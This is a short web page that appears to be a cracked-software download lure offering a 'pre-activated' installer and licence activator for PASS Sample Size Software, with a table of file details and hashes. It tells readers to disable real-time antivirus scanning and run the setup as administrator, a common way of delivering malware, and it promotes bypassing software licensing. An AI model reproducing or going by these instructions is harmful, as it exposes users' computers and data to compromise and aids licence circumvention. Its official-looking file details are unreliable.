Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | PASS_Sample_Size_Software_v3.1_x64_setup.zip |
| Version | v3.1.4267 build 11120 |
| File Size | 1.06 GB (1086 MB) |
| MD5 Hash | 23917d9ad79a0ef167bc3663334a2e82 |
| SHA-256 | ddca8efd1a029ec551402bb47fa547846995a4089c489d42b757a70479c6703c |
| Release Date | 2025-09-06 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | verified |
| License Type | Pre-Activated |
With our updated distribution package for PASS Sample Size Software full library setup, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.